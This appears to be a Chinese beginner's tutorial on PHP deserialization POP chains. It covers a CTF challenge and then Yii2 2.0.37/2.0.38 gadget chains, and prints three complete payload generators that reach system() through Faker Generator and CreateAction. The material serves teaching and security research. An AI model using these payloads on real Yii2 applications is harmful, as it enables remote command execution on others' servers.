Background
Yii2算第一个自己分析过的MVC框架链子,所以打算写个详细点的分析过程,方便刚接触反序列化的师傅们看一看
前置知识点
我假设师傅们都已经明白序列化/反序列化的意义,那我们先从一道简单的意义上可称为链的题目来说说
2020 MRCTF easypop
我直接po出代码
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
确认我们想要的目标 调用Modifier类里的append()函数 include包含进伪协议读取
flag.php,调用这个函数需要触发__invoke
php常见魔术方法的触发方式
construct():当一个类被创建时自动调用
destruct():当一个类被销毁时自动调用
invoke():当把一个类当作函数使用时自动调用
tostring():当把一个类当作字符串使用时自动调用
wakeup():当调用unserialize()函数时自动调用
sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用
__get():当调用一个未定义的属性时访问此方法
__set(): 给一个未定义的属性赋值时调用
想触发__invoke需要有函数方式调用,我们可以看到 Test类里的__get方法 return 函数,如果我们把$this->p设置成类就可以触发了,所以现在的问题转变到了如何触发__get方法,如果你仔细观察Show类的toString方法会发现return 的是$this->str->source $this->str设置成别的类,肯定是没有source属性的,可以触发,最后我们将目标来到了执行__toString方法了,在__wakeup魔术方法里面,有个preg_match 和$this->source进行比对,老方法,设置他为类就会被当成字符串进行匹配,而__wakeup方法在我们调用反序列化函数是自动触发的,所以到此为止我们的pop链条非常的完整清晰
__wakeup()->__toString()->__get()__invoke()->append()
payload我就不在这里给出,网上有很多的wp可以参考
所以你发现了,我们在寻找pop链的时候基本都是通过寻找魔术方法,魔术方法自动触发执行某些函数,导致我们可以利用
在很多的其他文章里,我们总能看见一个词 可控
那么到底什么能算做可控?
很多时候我们可能会通过$_GET $_POST $_COOKIE 这种全局变量和系统交互一些数据,这些变量我们可以手动传参来任意决定他的值,所以他肯定算可控的,通过魔术函数触发的函数,我们如果找到方法触发魔术函数,他也是可控的
还有就是所有类的成员 不管是public private 还是protected 我们都是可控的,因为我们想使用的时候 在__construct里面直接用$this引用就能赋值,但如果在原本的类里面__destruct ____wakeup里有改写,就不能调用了
(在这里我们不谈__wakeup()有能被绕过的可能 https://bugs.php.net/bug.php?id=72663 因为有版本的限制)
了解完这些之后,我们还要了解一些基本的危险函数
include require 这种有存在包含的可能
然后就是一堆代码执行的函数
call_user_func_array eval(不算函数,准确来说叫控制器) assert passthru....等等
我们挖反序列化洞更多都为了是rce,所以找到一些执行代码的函数即可
有了这些我们可以开始进行链子的挖掘了
常见入手点
搜索的入手点只要搜索 __destruct()即可,然后就是跟函数跟函数,比较常见的点是如果调用外类的函数,考虑触发__call方法走下去,看到字符串拼接考虑_toString方法走下去,时刻跟着$this走,如果跟着跟着函数没定义,或者函数里面返回静态的值了,那就开始考虑换个思路找,当然有的师傅也会直接从危险函数找,当然不管是挖链子,还是正常的代码审计,
1、发现危险函数
2、检查危险是否可控
3、demo测试
4、利用
这种思路也都是好用的
poc 1
版本 Yii2.0.37
配置的过程不详细说了,composer 或者github clone都可以,在controller控制器里面加一条反序列化位点的路由,照其他路由的形式编就行
搜索__destruct()
发现yii2dbBatchQueryResult.php下的__destruct()方法很简单,只是调用了一个本类函数reset()
直接跟进,发现调用close()函数
我们再跟close()函数会发现close()函数是类外函数,所以想到可以触发__call,但是触发_call 得看看我们的
$this-> $_dataReader 可不可控,观察发现并没有进行强制赋值的情况,可控
搜索所有的__call()方法
发现Faker下的Generator函数调用了format函数,我们跟进看看
发现他调用了这个call_user_func_array危险函数,那我们看看参数可不可控
$formatter, $arguments 都不是本类的变量,显然并不可控
但是在 $this->getFormatter($formatter)的控制下,我们发现,可以控制$this->formatters[$formatter]
但还是没法控制$arguments,这个数组默认为空,这意味着我们只能调用一个无参的函数,但其实这已经意味着我们现在已经完全可控一个函数了
整个架子里面用了很多call_user_func
我们利用正则搜索 function w+() ?n?{(.*n)+call_user_func 看看能不能找到其他的可用的点
yiirest下的Creataction类
可以看到里面的run函数直接调用call_user_fun 并且checkAccess和id都是本类的可控
那我们已经找了一条完整的触发的链子
整理一下
yiidbBatchQueryResult::__destruct() -> FakerGenerator::__call() -> yiirestIndexAction::run()
那我们就开始链子的编写
首先我们要知道,来自于不同的类之间必须得用命名空间namespace,最后echo 序列化数据时候要放在namespace根下面
而这些你很容易的可以在类的最前面找到
在链子中一个类中要实例化另个类时
需要use命名空间+类名
还有要注意的就是使用的成员变量必须在类里面都要写上
思路回到刚才的链子中,我们最后一步要调用run()函数的call_user_fun checkAccess id可控,我们在__construct里面声明
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
然后FakerGenerator的_call方法,在这里我们调用format函数 $this->getFormatter($formatter)是可控的
$formatter是传进来的方法close
call_user_func_array 采用数组的方法调用 我们在里面放入实例化的Createaction类和run方法
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
最后就是刚开始的$this->_dataReader可控传类
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
最终payload
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
poc 2
在后来Yii2.0.38里面
他们用了一个_wakeup来 防止序列化BatchQueryResult
这条链子行不通了
那我们可以继续找
Runprocess类里面 stopProcess()函数 调用非本类的isRUnning函数 好嘛 继续后面的_call就好了,不再多说直接payload
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
echo(base64_encode(serialize((new Codeception\Extension\RunProcess()))));
}
poc 3
第三个pop链值得说一下
Diskeycache类
__destruct()->clearall->clearkey
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
这里$this->path $itemKey都可控 字符串拼接
找__toString魔术方法
see里面有一个 render()非本类函数,又回到了__call了
这题有意思的是Diskeycache里面的$this->keys
跟着走可以看到要写个二维数组
最终payload
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"zxcz"=>array("zz"=>"he")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
后记
师傅们告诉我pop链子的挖掘是代码审计的基本功,所以还是要勤加练习,网上关于Yii2的链子分析的都不太新手向,我就试着写全,总结下知识点,希望能让你有所收获